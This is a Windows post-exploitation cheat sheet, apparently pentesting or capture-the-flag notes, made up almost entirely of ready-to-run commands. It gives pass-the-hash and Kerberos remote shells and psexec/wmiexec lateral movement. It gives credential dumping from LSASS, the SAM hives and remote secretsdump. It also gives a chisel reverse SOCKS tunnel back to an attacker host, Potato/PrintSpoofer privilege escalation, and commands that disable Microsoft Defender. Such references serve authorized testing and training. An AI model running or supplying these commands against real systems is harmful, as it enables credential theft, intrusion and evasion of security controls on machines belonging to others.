Windows Post-Exploitation

Windows Post-Exploitation

Remote Shells

evil-winrm — password

1
evil-winrm -i <IP> -u <USER> -p '<PASS>'

evil-winrm — NTLM hash (Pass-the-Hash)

1
evil-winrm -i <IP> -u <USER> -H <NTHASH>

evil-winrm — certificate (TLS)

1
evil-winrm -i <IP> -u <USER> -c cert.pem -k key.pem -S

evil-winrm through proxychains

1
proxychains evil-winrm -i <IP> -u <USER> -p '<PASS>'

Lateral Movement

psexec — password

1
psexec.py <DOMAIN>/<USER>:'<PASS>'@<IP>

psexec — hash

1
psexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

psexec — Kerberos ticket

1
KRB5CCNAME=ticket.ccache psexec.py <DOMAIN>/<USER>@<FQDN> -k -no-pass

wmiexec — hash

1
wmiexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

Credential Dumping

pypykatz — parse lsass minidump

1
pypykatz lsa minidump lsass.dmp

secretsdump — remote (PTH)

1
secretsdump.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

secretsdump — remote (Kerberos)

1
KRB5CCNAME=<DC>.ccache impacket-secretsdump <FQDN> -dc-ip <IP> -k

secretsdump — local SAM from registry hives

1
2
3
4
5
6
# On target — save hives
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# On attacker
secretsdump.py -sam sam -system system local

Tunneling

chisel — reverse SOCKS5 proxy

1
2
3
4
5
# Attacker
./chisel server --reverse -p 9002

# Target
.\chisel.exe client <LHOST>:9002 R:socks

Configure proxychains

1
2
3
# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080

Privilege Escalation

Check token privileges

1
whoami /priv

SeImpersonatePrivilege — PrintSpoofer

1
.\PrintSpoofer64.exe -i -c cmd

RunAs with different user

1
runas /user:<DOMAIN>\<USER> cmd.exe

Check local admins

1
net localgroup administrators

SeImpersonatePrivilege (Potato family)

1
2
3
4
5
6
whoami /all
whoami /priv
JuicyPotato.exe -l 1337 -p cmd.exe -t *
SweetPotato.exe -p cmd.exe -a "/c whoami > c:\temp\out.txt"
PrintSpoofer.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd

RDP

1
2
nxc rdp <IP> -u '<USER>' -p '<PASS>' -d <DOMAIN>
xfreerdp /v:<IP> /u:'<USER>' /p:'<PASS>' /d:<DOMAIN> /cert:ignore

Antivirus / AppLocker Checks

1
2
3
Get-MpComputerStatus | Select AntivirusEnabled,RealTimeProtectionEnabled,IsTamperProtected
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

Disable Defender (admin required)

1
2
3
4
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableScriptScanning $true
Add-MpPreference -ExclusionPath "C:\Users\Public\Documents"

Network Monitoring

Monitor ICMP on VPN interface

1
sudo tcpdump icmp -i tun0